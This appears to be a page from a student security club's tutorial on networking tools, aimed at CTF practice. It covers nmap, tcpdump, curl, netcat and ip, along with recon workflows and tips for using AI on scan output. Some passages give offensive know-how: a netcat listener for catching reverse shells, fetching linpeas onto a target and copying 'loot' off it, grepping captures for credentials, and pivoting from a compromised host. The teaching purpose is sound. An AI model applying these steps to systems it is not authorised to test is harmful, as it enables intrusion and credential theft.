Networking Tools

These are the tools you will use constantly. Learn the basics of each one — not every flag, just what it does and when to reach for it.

ping

Tests basic connectivity. Sends ICMP echo requests and waits for replies.

ping 192.168.1.1           # continuous ping (Ctrl+C to stop)
ping -c 4 192.168.1.1      # send exactly 4 packets
ping -i 0.2 192.168.1.1    # faster pinging (0.2s between packets)

If there’s no response: the host may be down, or ICMP may be blocked by a firewall.

traceroute / tracepath

Shows the path packets take to reach a destination. Each hop is a router.

traceroute google.com
tracepath google.com      # similar, no root required

High latency on a specific hop often indicates a problem at that router.

netstat / ss

Shows open network connections and listening ports.

ss -tulnp                 # listening ports and owning process (preferred)
netstat -tulnp            # older equivalent, may not be installed
ss -s                     # summary statistics

ss is the modern replacement for netstat. Both do the same thing.

nmap

Network scanner. Finds hosts, open ports, services, and OS fingerprints.

nmap 192.168.1.1              # basic scan (top 1000 ports)
nmap -sV 192.168.1.1          # detect service versions
nmap -p 1-65535 192.168.1.1   # scan all ports
nmap -sn 192.168.1.0/24       # ping sweep (host discovery only)
nmap -A 192.168.1.1           # aggressive — OS, scripts, traceroute
Only scan networks you own or have explicit permission to scan.

Unauthorized network scanning is illegal in most jurisdictions.

Two flags beginners learn the hard way:

nmap -Pn 10.10.10.5           # skip the ping check. A firewall that drops ICMP makes nmap say "host down" when it is up.
nmap -oA scan 10.10.10.5      # save all three output formats at once (scan.nmap, scan.gnmap, scan.xml)

If nmap says a host is down and you know it is up, -Pn is the fix. Always save output with -oA. You will want to grep it later, and you will not want to scan again.

Wireshark

Packet capture and analysis tool with a GUI. Captures live traffic or reads .pcap files.

Use it to see exactly what data is going over the wire. Essential for protocol analysis, debugging, and CTF forensics challenges.

For terminal-only environments, use tcpdump:

tcpdump -i eth0                     # capture on interface eth0
tcpdump -i eth0 port 80             # filter to port 80
tcpdump -w capture.pcap -i eth0     # write to file

curl / wget

Make HTTP requests from the command line.

curl https://example.com                          # GET request
curl -X POST -d "user=foo&pass=bar" http://site   # POST with form data
curl -H "Authorization: Bearer TOKEN" http://api  # with a header
curl -I https://example.com                       # headers only
wget https://example.com/file.zip                 # download a file

curl is for inspecting and interacting with HTTP. wget is for downloading.

dig / nslookup

DNS query tools.

dig google.com              # A record (IP)
dig google.com MX           # mail server records
dig google.com ANY          # all records
nslookup google.com         # simpler alternative

nc / ncat

Netcat. Reads and writes raw TCP or UDP. It is the tool for “is that port open, and what does it say?”

nc -zv 10.10.10.5 22 80 443    # test whether ports are open, no data sent
nc 10.10.10.5 80               # connect and talk to the service by hand
nc -lvnp 4444                  # listen on a port and wait for a connection

Connect to port 80, type GET / HTTP/1.0, and press Enter twice. You just spoke HTTP without a browser. That is banner grabbing: the first thing a service says tells you what it is.

The listener is how a reverse shell arrives. Your lab VM listens, the CTF box connects back. Use it only on machines you are authorized to test. The ncat guide covers the rest.

ip

The modern replacement for ifconfig, route, and arp. If a guide tells you to run ifconfig, the guide is old. Learn ip.

ip a                     # addresses on every interface (long form: ip addr)
ip r                     # routing table. The "default via" line is your gateway.
ip n                     # neighbours: the ARP table, IP addresses to MAC addresses
ip -br a                 # brief, one line per interface

ip r answers “why can’t my VM reach anything”: there is no default route, or it is the wrong one. Reference: ip(8).

/etc/hosts

CTF boxes use names like target.htb that no DNS server knows. Map the name yourself.

echo "10.10.10.5 target.htb" | sudo tee -a /etc/hosts

When a web app redirects you to a hostname and the page never loads, this is why. Add the name and try again.

Moving Files Between Machines

You will need to get a tool onto a box, or a file off it. The fastest way is a one-line web server.

python3 -m http.server 8000     # serve the current directory on port 8000
# on the other machine:
wget http://10.10.14.5:8000/linpeas.sh
curl -O http://10.10.14.5:8000/linpeas.sh

Over SSH, when you have credentials:

scp file.txt user@10.10.10.5:/tmp/       # copy to the box
scp user@10.10.10.5:/tmp/loot.txt .      # copy from the box

In CTF Environments

Recon workflow on a new machine:

# 1. Discover open ports (fast scan first)
nmap -p- --min-rate 5000 -T4 10.10.10.5 -oN ports.txt

# 2. Pull open ports into a variable
ports=$(grep "open" ports.txt | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')

# 3. Deep scan only open ports
nmap -sV -sC -p$ports 10.10.10.5 -oN detailed.txt

Network forensics — analyzing a .pcap in a CTF:

# Filter HTTP traffic from a capture
tcpdump -r capture.pcap -A port 80

# Extract files from a pcap (Wireshark can also do this via File → Export Objects)
tcpdump -r capture.pcap -w http_only.pcap port 80

# Find credentials in cleartext traffic
strings capture.pcap | grep -i "pass\|user\|login\|auth"

Pivoting — finding what else is reachable from a compromised host:

# Scan the internal network from a foothold
# (use a static nmap binary uploaded to the victim, or proxychains)
./nmap-static -sn 10.10.10.0/24    # host discovery
./nmap-static -p 22,80,443,3306 10.10.10.0/24   # targeted port scan

CTF web recon:

# Directory brute force
ffuf -u http://target.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt

# Subdomain enumeration
ffuf -u http://FUZZ.target.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.target.htb"

# Check what a server exposes
curl -I http://target.htb           # headers
curl -s http://target.htb/robots.txt   # often reveals hidden paths

Using AI

Networking tools generate a lot of output. AI is useful for making sense of it quickly.

Where it helps:

  • Interpreting nmap output: Paste the scan results and ask “what attack surface does this expose?” AI will flag interesting services, unusual ports, and known vulnerable versions.
  • Wireshark display filters: The filter syntax is not intuitive. Describe what you are looking for and ask for the filter. Example: “show only HTTP POST requests containing the word password.”
  • Writing recon scripts: “Write a bash script that runs nmap against a /24, extracts open port 80 hosts, and runs gobuster against each one.”
  • Protocol analysis: Paste a hex dump or ASCII stream and ask what protocol it is or what it contains.
  • Identifying services: Unknown port or service banner? Paste it and ask.

What AI cannot do: actually run the scan, know what is on your specific network, or replace looking at the traffic yourself. Use it to accelerate interpretation, not replace it.

How the Club Uses This

TODO: Add which tools the club uses in competitions (CCDC network defense, CTF recon challenges, etc.) and any club-specific configurations or scripts.

References

Next CLI & ScriptingBash fundamentals and enough Python to automate real work from the terminal.